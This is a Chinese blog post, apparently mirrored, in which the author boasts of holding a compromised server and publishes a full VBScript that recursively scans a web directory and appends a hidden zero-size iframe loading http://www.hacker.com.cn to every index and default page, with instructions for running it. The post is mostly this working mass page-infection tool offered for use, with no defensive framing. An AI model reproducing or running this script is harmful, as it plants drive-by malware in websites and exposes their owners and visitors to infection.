zoukankan      html  css  js  c++  java
  • VBS也能批量挂马

    好不容易才得到一台肉鸡,在保住肉鸡的同时还不免要扩大自己的成果。挂马其实是一个不错的选择,还有很多比我们菜的菜鸟还不懂打补丁呢(嘻嘻……)!前天下载了个批量挂马程序看了下200多K,想放在肉鸡上测试一下,好不容易才上传到肉鸡上不知怎么,运行的时候弹出个错误窗口肉鸡就挂了(真是悲哀………)!于是就想自己用脚本写个,个子小又有安全感!(Socket:下次进一个网站估计要中几十次木马了。)
    主要功能:遍历目录,寻找符合条件的文件把马写进去。
    下面的是代码,只要把代码copy到文件里另存为scan.vbe在cmd下运行。
    cscript scan.vbe 要挂马的目录
    例:cscript scan.vbe D:\
    '版权信息
    br="************************************" & vbCrLf
    br=br & "* VBS 批量挂马脚本 *" & vbCrLf
    br=br & "* BY BanLG *" & vbCrLf
    br=br & "************************************" & vbCrLf & vbCrLf
    br=br & "cscript scan.vbe D:\" & vbCrLf

    '马的地址
    ma="</Script><IfRAME height=0 width=0 sRc=" & chr(34) & "http://www.hacker.com.cn" & chr(34) & "></IFrAME>"
    '要挂马的页面如果嫌不够还可以自己再加,记得要用”|”隔开
    MyString="index.asp|index.html|index.htm|default.asp|default.html|default.htm"
    '以"|"为分隔符拆分成数组
    MyArray = Split(MyString, "|", -1, 1)

    web=WScript.Arguments(0)

    '如果web为空退出脚本
    if web="" then
    Wscript.echo (br)
    window.Close
    end if

    Wscript.echo (br) & "马的地址:" & ma & vbCrLf & vbCrLf
    '创建对象
    Set fso = createObject("Scripting.FileSystemObject")

    '开始扫描挂马
    scan(web)

    'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾
    sub scan(filesder)
    set filesder=fso.getfolder(filesder)
    '得到当前目录的所有文件集合
    set files=filesder.files
    '获取文件名
    for each fext in files
    Set file1 = fso.GetFile(fext)
    filesext=file1.Name
    '把文件名转换成小写字母
    ext=lcase(filesext)
    For Each index in MyArray
    '判断文件是不是我们在MyString里限定的文件,如果是就写马
    if ext=lcase(index) then
    Set ts = fso.OpenTextFile(fext,8) '打开文件并在文件末尾进行写操作
    ts.WriteLine(ma)
    ts.Close
    echo=""
    echo=fext & " .............ok"
    Wscript.echo (echo)
    end if
    next
    next

    set subfolders=filesder.subfolders
    for each subfolder in subfolders '搜索其他目录,递归调用
    scan(subfolder)
    next
    end sub

    下面是我在本地测试的。
    如果看不懂脚本可以参考下“VBScript 用户手册”,有什么问题可以到黑防论坛讨论,期待共同进步
  • 相关阅读:
    PAT (Advanced Level) 1114. Family Property (25)
    PAT (Advanced Level) 1113. Integer Set Partition (25)
    PAT (Advanced Level) 1112. Stucked Keyboard (20)
    PAT (Advanced Level) 1111. Online Map (30)
    PAT (Advanced Level) 1110. Complete Binary Tree (25)
    PAT (Advanced Level) 1109. Group Photo (25)
    PAT (Advanced Level) 1108. Finding Average (20)
    PAT (Advanced Level) 1107. Social Clusters (30)
    PAT (Advanced Level) 1106. Lowest Price in Supply Chain (25)
    PAT (Advanced Level) 1105. Spiral Matrix (25)
  • 原文地址:https://www.cnblogs.com/top5/p/1604777.html
Copyright © 2011-2022 走看看